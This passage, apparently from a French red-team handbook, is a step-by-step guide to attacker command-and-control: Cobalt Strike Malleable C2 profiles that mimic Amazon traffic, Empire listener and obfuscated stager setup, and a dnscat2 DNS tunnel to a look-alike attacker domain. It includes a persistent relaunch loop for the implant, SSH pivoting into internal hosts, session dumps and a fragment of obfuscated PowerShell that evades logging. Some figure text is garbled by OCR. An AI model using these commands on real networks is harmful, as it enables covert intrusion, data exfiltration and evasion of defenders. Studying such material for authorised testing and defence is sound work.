Bien que ne faisant pas partie de l’infrastructure, il est important de comprendre comment vos balises (beacons) fonctionnent dans un environnement interne. En termes de sécurité opérationnelle, nous ne voulons pas construire une campagne qui puisse être facilement mise en œuvre. En tant que membres d’une Red Team, nous devons supposer que certains de nos agents seront découverts par la Blue Team. Si tous nos hôtes dialoguent uniquement avec un ou deux terminaux C2, il serait assez facile de compromettre toute notre infrastructure. Heureusement pour nous, Cobalt Strike supporte les SMB Beacons entre les hôtes pour les communications C2. Cela vous permet d’avoir une machine compromise qui communique avec Internet, tandis que toutes les autres machines du réseau communiquent par l’intermédiaire de l’hôte compromis initial via SMB (https://www.cobaltstrike.com/help-smb-beacon). De cette façon, si l’un des systèmes secondaires est détecté et qu’une analyse de criminologie est effectuée, les enquêteurs pourraient ne pas être en mesure d’identifier le domaine C2 associé à l’attaque.

Une caractéristique intéressante de Cobalt Strike qui aide énormément les Red Teams est sa capacité à manipuler la façon dont vos beacons communiquent. En utilisant les profils Malleable C2, vous pouvez faire en sorte que tout votre trafic provenant de vos systèmes compromis ressemble à du trafic normal. Nous entrons de plus en plus dans des environnements avec filtrage applicatif au niveau 7. Dans la couche 7, il s’agit de rechercher un trafic anormal alors que, bien souvent, celui-ci concerne les communications Web. Et si nous pouvions faire en sorte que notre communication C2 ressemble à un trafic Web normal ? C’est ici que les profils Malleable C2 entrent en jeu. Observez l’exemple suivant :

https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/amazon.profile


Notez en particulier ces points :


	
Nous voyons qu’il s’agit de requêtes HTTP avec des chemins URI :

	set uri “/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books”;





	
L’en-tête de l’hôte est défini sur Amazon :

	header “Host” “www.amazon.com”;





	
Et même certains en-têtes de serveur personnalisés sont renvoyés depuis le serveur C2 :

	
header “x-amz-id-1” “THKUYEZKCKPGY5T42PZT”;

header “x-amz-id-2” “a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=”;








Maintenant que ceux-ci ont été utilisés dans de multiples campagnes différentes, de nombreux dispositifs de sécurité ont créé des signatures sur tous les profils Malleable C2 courants (https://github.com/rsmudge/Malleable-C2-Profiles). Ce que nous avons fait pour contourner ce problème, c’est de nous assurer que toutes les chaînes statiques sont modifiées, que toutes les informations User-Agent sont également modifiées, de configurer SSL avec des certificats réels (n’utilisez pas de certificats SSL Cobalt Strike par défaut), d’utiliser le jitter et de reconfigurer les balises pour les agents. Une dernière remarque est de s’assurer que la communication se fait via des commandes POST (http-post), car ne pas le faire peut donner des migraines du fait de l’utilisation de profils personnalisés. Si votre profil communique via http-get, il fonctionnera toujours, mais le transfert de gros fichiers prendra une éternité. Rappelez-vous que GET est généralement limité à environ 2 048 caractères.

L’équipe de SpectorOps a également créé des profils Malleable C2 aléatoires. Voyez à ce sujet l’adresse :

https://github.com/bluscreenofjeff/Malleable-C2-Randomizer





Aggressor Scripts Cobalt Strike

Cobalt Strike compte de nombreuses personnes qui contribuent à ce projet. Aggressor Script est un langage de script pour les opérations Red Team et les simulations d’adversaires inspiré par les clients et les robots IRC scriptables. Son objectif est double :


	Vous pouvez créer des bots pérennes qui simulent des membres virtuels de la Red Team, en « hackant » côte à côte avec vous.


	
Vous pouvez également l’utiliser pour étendre et modifier le client Cobalt Strike selon vos besoins. Voyez l’adresse :

	https://www.cobaltstrike.com/aggressor-script/index.html







Par exemple, HarleyQu1nn a dressé une belle liste de différents scripts Aggressor que vous pouvez consulter à l’adresse http://bit.ly/2qxIwPE.






PowerShell Empire

Empire est un framework postexploitation qui inclut de purs agents Windows PowerShell 2.0 et Python 2.6/2.7 sous Linux/OS X. Il s’agit de la fusion des précédents projets PowerShell Empire et Python EmPyre. Le framework offre des communications cryptographiquement sécurisées et une architecture souple. Du côté de PowerShell, Empire implémente la capacité d’exécuter des agents PowerShell sans avoir besoin de powershell.exe, des modules de postexploitation rapidement déployables allant d’enregistreurs de frappe (keyloggers) à Mimikatz, et des communications adaptables pour éviter la détection réseau, le tout dans un cadre axé sur la convivialité (https://github.com/EmpireProject/Empire).

Du point de vue Red Team, PowerShell est un de nos meilleurs amis. Après la charge utile initiale, toutes les attaques ultérieures sont stockées en mémoire. La meilleure part d’Empire est qu’il est activement géré et mis à jour afin que tous les modules postexploitation les plus récents soient disponibles pour les attaques. Ils disposent également d’une connectivité C2 pour Linux et OS X. Ainsi, vous pouvez toujours créer une macro Office dans Mac et, lorsqu’elle est exécutée, avoir un tout nouvel agent dans Empire.

Nous reviendrons dans ce livre plus en détail sur Empire afin que vous puissiez voir à quel point il est efficace. Notez tout de suite qu’il est très important de s’assurer que vous avez configuré Empire de façon sécuritaire :


	Définissez CertPath avec un véritable certificat SSL de confiance.


	Changez les points de terminaison DefaultProfile. De nombreux pare-feu avec filtrage applicatif (couche 7 OSI) recherchent les terminaisons statiques exactes.


	Modifiez l’agent utilisateur utilisé pour communiquer.




Tout comme les fichiers rc de Metasploit utilisés pour l’automatisation, Empire supporte maintenant les scripts autorun pour des raisons d’efficacité et d’efficience qui seront abordées plus loin dans ce livre.

Pour exécuter Empire :


	
Initialisez Empire :

	cd /opt/Empire & & & ./setup/reset. sh





	
Quittez :

	exit





	
Configurez Cert (la meilleure pratique consiste à utiliser de vrais certificats de confiance) :

	./setup/cert.sh





	
Démarrez Empire :

	./empire





	
Démarrez un listener (auditeur) :

	listeners





	
Choisissez votre auditeur (nous utiliserons http pour nos exercices) :

	
Uselistener(tabulez deux fois pour voir tous les types d’auditeurs)

uselistener http






	
Visualisez toutes les configurations pour l’auditeur :

	info








	
Configurez ce qui suit (réglez KillDate au 12/12/2020) :

	
KillDate - La fin de votre campagne pour que vos agents s’autonettoient

DefaultProfile - Assurez-vous de changer tous les points de terminaison (i.e. /admin/get.php,/news.php). Vous pouvez les imaginer comme vous voulez, comme dans /seriously/notmalware.php.

DefaultProfile - Assurez-vous de changer également votre User Agent. J’aime regarder les agents utilisateurs les plus utilisés et en choisir un.

Host - Changez en HTTPS avec le port 443

CertPath - Ajoutez votre chemin d’accès à vos certificats SSL

UserAgent – Définissez ici votre agent utilisateur commun

Port - Réglez sur 443

ServerVersion - Changez pour un autre en-tête de serveur






	
Lorsque vous avez terminé, commencez à écouter :

	execute







Cette procédure est illustrée sur la Figure 1.7.
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FIGURE 1.7 : Exécuter Empire.



Configurer la charge utile

La charge utile (payload) est le véritable malware qui s’exécutera sur le système de la victime. Ces charges utiles peuvent fonctionner sous Windows, Linux et OS X, mais Empire est surtout connu pour ses charges utiles PowerShell sous Windows :


	
Allez au menu principal :

	main





	
Créez un stager disponible pour OS X, Windows, Linux. Ici, nous allons créer un simple fichier .bat à titre d’exemple, mais vous pouvez fabriquer des macros pour des fichiers Office ou bien encore des charges utiles pour un rubber ducky5 :

	
usestager[tabulez deux fois pour voir tous les différents types].

usestager windows/launcher_bat






	
Visualisez toutes les options :

	info





	
Configurez tous les paramètres :

	
set Listener http

Configurez UserAgent






	
Créez une charge utile :

	generate





	
Revoyez votre charge utile dans une autre fenêtre de terminal :

	cat /tmp/launcher.bat







Cette étape est illustrée sur la Figure 1.8.

[image: FIGURE 1.8 : Exécution de la dernière étape.]

FIGURE 1.8 : Exécution de la dernière étape.


Comme vous pouvez le voir, la charge utile qui a été créée a été fortement obscurcie. Vous pouvez maintenant déposer ce fichier .bat sur n’importe quel système Windows. Bien sûr, vous voudrez probablement créer une macro Office ou une charge utile Rubber Ducky, mais ce n’est qu’un exemple parmi tant d’autres.

Si PowerShell n’est pas déjà installé sur votre image Kali, la meilleure façon de le faire est de le faire manuellement. Pour installer PowerShell sur Kali :


	apt-get install libunwind8


	wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb


	dpkg -i libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb


	wget http://security.ubuntu.com/ubuntu/pool/main/i/icu/libicu55_55.1-7ubuntu0.3_amd64.deb


	dpkg -i libicu55_55.1-7ubuntu0.3_amd64.deb


	wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.2/powershell_6.0.2-1.ubuntu.16.04_amd64.deb


	dpkg -i powershell_6.0.2-1.ubuntu.16.04_amd64.deb









dnscat2

Cet outil est conçu pour créer un canal Command and Control (C2) crypté sur le protocole DNS, qui est un tunnel efficace à partir de pratiquement n’importe quel réseau (https://github.com/iagox86/dnscat2).

C2 et l’exfiltration sur DNS fournissent un excellent mécanisme pour masquer votre trafic, éviter les capteurs réseau et contourner les restrictions réseau. Dans de nombreux environnements restrictifs ou de production, nous rencontrons des réseaux qui soit n’autorisent pas le trafic sortant, soit n’autorisent qu’un trafic fortement restreint ou surveillé. Pour contourner ces protections, nous pouvons utiliser un outil comme dnscat2. La raison pour laquelle nous nous concentrons sur dnscat2 est qu’il ne nécessite pas de privilèges de super utilisateur (root), et qu’il permet à la fois l’accès shell et l’exfiltration.

Dans de nombreux environnements sécurisés, les sorties UDP ou TCP directes sont restreintes. Pourquoi ne pas tirer parti des services déjà intégrés à l’infrastructure ? Beaucoup de ces réseaux protégés contiennent un serveur DNS pour résoudre les hôtes internes, tout en permettant la résolution des ressources externes. En configurant un serveur digne de foi pour un domaine malveillant que nous possédons, nous pouvons utiliser ces résolutions DNS pour exécuter le canal C2 de notre malware (voir la Figure 1.9).

Dans notre scénario, nous allons mettre en place notre domaine attaquant appelé « loca1host.com » C’est un double mystère de « localhost », dans l’espoir que nous puissions cacher un peu plus notre trafic. Assurez-vous de bien remplacer « loca1host.com » par le nom de domaine que vous possédez. Nous allons configurer les informations DNS de loca1host.com pour qu’il devienne un serveur DNS digne de foi. Dans cet exemple, nous allons utiliser l’outil de configuration DNS de GoDaddy, mais vous pouvez utiliser n’importe quel service DNS.


Configurer un serveur DNS de confiance en utilisant GoDaddy


	Tout d’abord, assurez-vous de configurer un serveur virtuel privé VPS pour être votre serveur C2 d’attaque et d’obtenir l’adresse IP de ce serveur.


	Connectez-vous à votre compte GoDaddy (ou similaire) après avoir acheté un domaine.




[image: FIGURE 1.9 : C2 et DNS.]

FIGURE 1.9 : C2 et DNS.



	Sélectionnez votre domaine, cliquez sur Gérer et sélectionnez DNS avancé.


	
Ensuite, configurez Hostnames dans la gestion DNS pour pointer vers votre serveur :

	
ns1 (et mettez l’IP de votre serveur VPS)

ns2 (et mettez l’IP de votre serveur VPS)






	
Éditez les serveurs de noms pour les personnaliser (voir la Figure 1.10) :

	
Ajoutez ns1.loca1host.com

Ajoutez ns2.loca1host.com








[image: FIGURE 1.10 : Personnaliser les serveurs de noms.]

FIGURE 1.10 : Personnaliser les serveurs de noms.


Comme le montre la Figure 1.10, nos serveurs de noms pointent maintenant vers ns1.loca1host.com et ns2.loca1host.com, qui pointent à leur tour tous deux vers notre serveur VPS attaquant. Si vous essayez de résoudre un sous-domaine pour loca1host.com (i.e. vpn.loca1host.com), il essaiera d’utiliser notre serveur VPS pour effectuer ces résolutions. Heureusement pour nous, dnscat2 écoute sur le port UDP 53 et fait tout le gros du travail pour nous.

Ensuite, nous allons avoir besoin de configurer complètement notre serveur attaquant qui agit comme étant notre serveur de nom. Voici comment configurer le serveur dnscat2 :


	sudo su -


	apt-get update


	apt-get install ruby-dev


	git clone https://github.com/iagox86/dnscat2.git


	cd dnscat2/servur/


	apt-get install gcc make


	gem install bundler


	bundle install


	Test pour s’assurer de son bon fonctionnement : ruby./dnscat2.rb


	Note rapide : si vous utilisez Amazon Lightsail, assurez-vous d’autoriser le port UDP 53.




En ce qui concerne le code client, nous devrons le compiler pour produire un binaire pour une charge utile Linux.




Compiler le client


	git clone https://github.com/iagox86/dnscat2.git/opt/dnscat2/client


	cd /opt/dnscat2/client/


	make


	Nous devrions maintenant avoir créé un binaire dnscat !


	(dans Windows : chargez client/win32/dnscat2.vcproj dans Visual Studio et cliquez sur « build »)




Maintenant que nous avons configuré notre DNS de confiance, que notre serveur attaquant utilise dnscat2 comme serveur DNS, et que notre malware a été compilé, nous sommes prêts à exécuter notre charge utile.

Avant de commencer, nous devons lancer dnscat sur notre serveur attaquant. Bien qu’il existe de multiples configurations à activer, la principale est la configuration de l’indicateur -- secret pour s’assurer que nos communications à l’intérieur des requêtes DNS sont cryptées. Assurez-vous de remplacer loca1host.com par le nom de domaine que vous possédez et de créer une chaîne secrète aléatoire.

Pour démarrer dncat2 sur votre serveur attaquant :


	screen


	ruby ./dnscat2.rb loca1host.com --secret 39dfj3hdsfajh37e8c902j




Disons que vous avez une sorte de vulnérabilité RCE sur un serveur. Vous pouvez exécuter des commandes shell et télécharger notre charge utile dnscat. Pour exécuter notre charge utile :

	./dnscat loca1host.com --secret 39dfj3hdsfajh37e8c902j



Cela va lancer dnscat, utiliser notre serveur de confiance et créer notre canal C2. Une chose que j’ai déjà vue, c’est qu’il y a des moments où dnscat2 « meurt ». Cela pourrait provenir de transferts de fichiers volumineux ou de quelque chose qui finit par s’embrouiller. Pour contourner de tels problèmes, j’aime m’assurer que ma charge utile dnscat renaît. Pour cela, je préfère généralement démarrer ma charge utile dnscat avec un script bash rapide :

	nohup /bin/bash -c “while true; do /opt/dnscat2/client/dnscat loca1host.com --secret 39dfj3hdsfajh37e8c902j --max-retransmits 5; sleep 3600; done” > /dev/null 2>&1 &



Cela va permettre de s’assurer que, si la charge utile côté client meurt pour quelque raison que ce soit, une nouvelle instance sera générée toutes les heures. Parfois, vous n’avez qu’une seule chance de faire fonctionner vos charges utiles, donc vous devez les rendre plus fortes !

Enfin, si vous allez exécuter cette charge utile sous Windows, vous pourriez utiliser la charge utile dnscat2 mais... pourquoi ne pas simplement le faire dans PowerShell ?! Luke Baggett a écrit une version PowerShell du client dnscat. Voyez à ce sujet l’adresse suivante :

https://github.com/lukebaggett/dnscat2-powershell





Connexion dnscat2

Une fois que notre charge utile s’exécute et se connecte à notre serveur attaquant, nous devrions voir un nouveau message indiquant ENCRYPTED AND VERIFIED comme sur la Figure 1.11. En tapant « window », dnscat2 affichera toutes vos sessions. Actuellement, nous avons une session de commande unique appelée « 1 ».

Nous pouvons créer un shell de style terminal en interagissant avec notre session de commande (voir la Figure 1.12) :

[image: FIGURE 1.11 : Une session de commande dnscat2.]

FIGURE 1.11 : Une session de commande dnscat2.


[image: FIGURE 1.12 : Création de shell en détail.]

FIGURE 1.12 : Création de shell en détail.



	
Interagir avec notre première session de commande :

	window -i 1





	
Démarrer une session shell :

	shell





	
Retour à la session principale :

	Ctrl-z





	
Interagir avec la session 2 :

	windows -i 2





	Maintenant, vous devriez être capable d’exécuter toutes les commandes shell (i.e. ls)




Bien que ce ne soit pas le shell le plus rapide, du fait que toutes les communications se font sur DNS, il contourne réellement les situations dans lesquelles un Meterpreter ou un shell similaire ne fonctionnent pas. Ce qui est encore mieux avec dnscat2, c’est qu’il supporte pleinement le tunneling. De cette façon, si nous voulons utiliser un exploit à partir de notre système hôte, il est possible d’utiliser un navigateur pour créer un tunnel pour les sites Web internes, ou même d’utiliser SSH dans une autre boîte.




Tunnel dans dnscat2

Bien souvent, nous voulons acheminer notre trafic depuis notre serveur attaquant vers d’autres serveurs internes en passant par notre hôte compromis. La façon la plus sûre de le faire avec dnscat2 est de router notre trafic à travers le port local puis de l’acheminer vers un système interne sur le réseau. Un exemple de ceci peut être accompli par la commande suivante dans notre session courante :

listen 127.0.0.0.1:9999 10.100.100.100.1:22


Une fois le tunnel créé, nous pouvons retourner à notre fenêtre de terminal racine sur notre machine attaquante, exécuter SSH vers localhost via le port 9999, et nous authentifier comme système interne sur le réseau de la victime (voir la Figure 1.13).

[image: FIGURE 1.13 : Le tunnel est creusé.]

FIGURE 1.13 : Le tunnel est creusé.


Au-delà d’une certaine satisfaction intellectuelle, cela constitue un grand test pour voir si les réseaux de vos clients peuvent détecter les requêtes DNS massives et l’exfiltration. À quoi ressemblent alors la requête et les réponses ? Un dump Wireshark rapide montre que dnscat2 crée des quantités massives de requêtes DNS différentes vers de nombreux sous-domaines longs différents (voir la Figure 1.14).

[image: FIGURE 1.14 : Dump Wireshark.]

FIGURE 1.14 : Dump Wireshark.


Maintenant, il y a beaucoup d’autres protocoles que vous voudrez peut-être tester. Par exemple, Nishang a un shell ICMP basé sur PowerShell (http://bit.ly/2GXhdnZ) qui utilise https://github.com/inquisb/icmpsh comme serveur C2. Il existe d’autres shells ICMP comme ceux mentionnés ci-dessous :


https://github.com/jamesbarlow/icmptunnel

https://github.com/DhavalKapil/icmptunnel

http://code.gerade.org/hans/








p0wnedShell

Comme indiqué sur la page Github de p0wnedShell, cet outil est « une application hôte PowerShell offensive écrite en C# qui ne repose pas sur powershell.exe, mais exécute des commandes et fonctions PowerShell dans un environnement d’exécution PowerShell (.NET). Il a de nombreux modules et binaires PowerShell offensifs inclus pour faciliter le processus de postexploitation. Ce que nous avons essayé de faire, c’est de construire un outil de postexploitation « tout en un » que nous pourrions utiliser pour contourner toutes les solutions de mitigation (ou du moins certaines d’entre elles), et qui dispose de tous les outils pertinents. Vous pouvez l’utiliser pour effectuer des attaques modernes dans les environnements Active Directory et créer une prise de conscience au sein de votre Blue Team afin qu’elle puisse construire les bonnes stratégies de défense. Voyez l’adresse :

https://github.com/Cn33liz/p0wnedShell





Pupy

Pupy est « un outil d’administration à distance et de postexploitation open source et multiplateforme (Windows, Linux, OS X, Android) principalement écrit en python ». Voyez l’adresse :

https://github.com/n1nj4sec/pupy


L’une des caractéristiques impressionnantes de Pupy est que vous pouvez exécuter Python sur tous vos agents sans que Python soit réellement installé sur tous vos hôtes. Si vous essayez de scripter beaucoup de vos attaques dans un cadre personnalisé, Pupy est donc un outil facile à utiliser pour le faire.




PoshC2

PoshC2 est « un framework C2 «proxy aware» qui utilise PowerShell et/ou équivalent pour aider les testeurs d’intrusion avec les Red Teams, la postexploitation et le mouvement latéral. PowerShell a été choisi comme langage de base car il fournit toutes les fonctionnalités et les riches caractéristiques requises sans avoir besoin d’introduire de multiples librairies tierces dans le framework. ». Voyez l’adresse :
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dnscat2> New window created: 1

dnscat2> Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)

dnscat2> window

0 :: main [activel
crypto-debug :: Debug window for crypto stuff [x]
dnsl :: DNS Driver running on 0.0.0.0:53 domains = localhost.com [x]
1 :: command (THP-LETHAL) [encrypted and verified] [*]

dnscat2> I
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dnscat2> window
@ :: main [activel
crypto-debug :: Debug window for crypto stuff [x]
dnsl :: DNS Driver running on 0.0.0.0:53 domains = localhost.com [*]
1 :: command (THP-LETHAL) [encrypted and verified]
2 :: sh (THP-LETHAL) [encrypted and verified] [x*]
dnscat2> window -i 2
New window created: 2
history_size (session) => 1000
Session 2 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

sh (THP-LETHAL) 2> 1s

sh (THP-LETHAL) 2> controller
dnscat

dnscat.c

dnscat.o

drivers

libs

Makefile
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root@Pip-172-26-1-22:~/dnscat2/server# ssh root@localhost -p 9999

The authenticity of host '[localhost]:9999 ([127.0.0.1]1:9999)' can't be established.
ECDSA key fingerprint is SHA256:pjglS/UtSMwyG2FZWKmMrpcnhQTelLjg3xqwfsZ4dfbE.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '[localhost]:9999' (ECDSA) to the list of known hosts.
root@localhost's password:

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Wed Jan 31 22:47:42 2018 from 10.100.100.9
root@THP-LETHAL: ~# I







OEBPS/images/F01_14.jpg
Destination Protocol Length Info

16.100.100.1 DNS 108 Standard query 0x3656 TXT 357f@1fcad17a3f021e795003776bc9464.1localhost.com

10.100.100.9 DNS 155 Standard query response 0x3656 TXT 357f@1fcad17a3f021e7950037760bc9404.localhost.com TXT

10.100.100.1 DNS 108 Standard query 0x4095 CNAME 82e8019c2135b8df541ffde15587d2eb62.localhost.com

16.100.100.9 DNS 157 Standard query response ©6x4095 CNAME 82e8019c2135b8df541ffde15587d2eb62.localhost.com CNAME bf20019c218bc6e
10.100.100.1 DNS 108 Standard query 0x40b® MX Sbbfeifcad2ede3af5b2740038dbe8bb36.localhost.com

10.100.100.9 DNS 159 Standard query response ©x46b® MX Sbbf@ifcad2ede3af5b2740038dbe8bb36.localhost.com MX 10 d49beifcaddccddies
16.100.100.1 DNS 108 Standard query ©x915f TXT @8ba®19c21eac6bda2b10f9156173d2565.localhost.com

10.100.100.9 DNS 155 Standard query response 0x915f TXT ©8ba@19c21eac6bda2b10f0156173d2565.1localhost.com TXT

160.100.100.1 DNS 108 Standard query ©xc6a8 TXT 6b6bo1fcade51495f204300039f5eca862.localhost.com

160.100.100.9 DNS 155 Standard query response 0xc6a8 TXT 6b6bo1fcade51495f204300039f5eca862.1localhost.com TXT

10.100.100.1 DNS 108 Standard query ©x1adS TXT 44c1019c216dab2c7e08da01573563ceeb.localhost.com

10.100.100.9 DNS 155 Standard query response Ox1ad5 TXT 44c1019c216dab2c7e08da®1573563ceeb.localhost.com TXT

10.100.100.1 DNS 108 Standard query Oxea9d TXT d57101fcad429d53f42b6de@3a45ec70dS5.localhost.com

10.100.100.9 DNS 161 Standard query response Oxea9d TXT d57101fcad429d53f42b6do03adSec70dS.localhost.com TXT

10.100.100.1 DNS 291 Standard query 0xa780 MX diadeifcad6fdfdb782f5f003bSa11f4b4994ed3b9541b443a447cc90e8b.e97cc189818fb1b982422
10.100.100.1 DNS 1608 Standard query 0xd5c5 CNAME 3324019c216804bb6acce901585a24f2b2.localhost.com
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f 'bleSc','riptB','E','a', 'n')+("{3}{2}{0}{1}" -f'oggi','ng','L"', 'lock')]1=0;${g Pc}[("{2}{1}{0}"-f'ptB", 'ri',"
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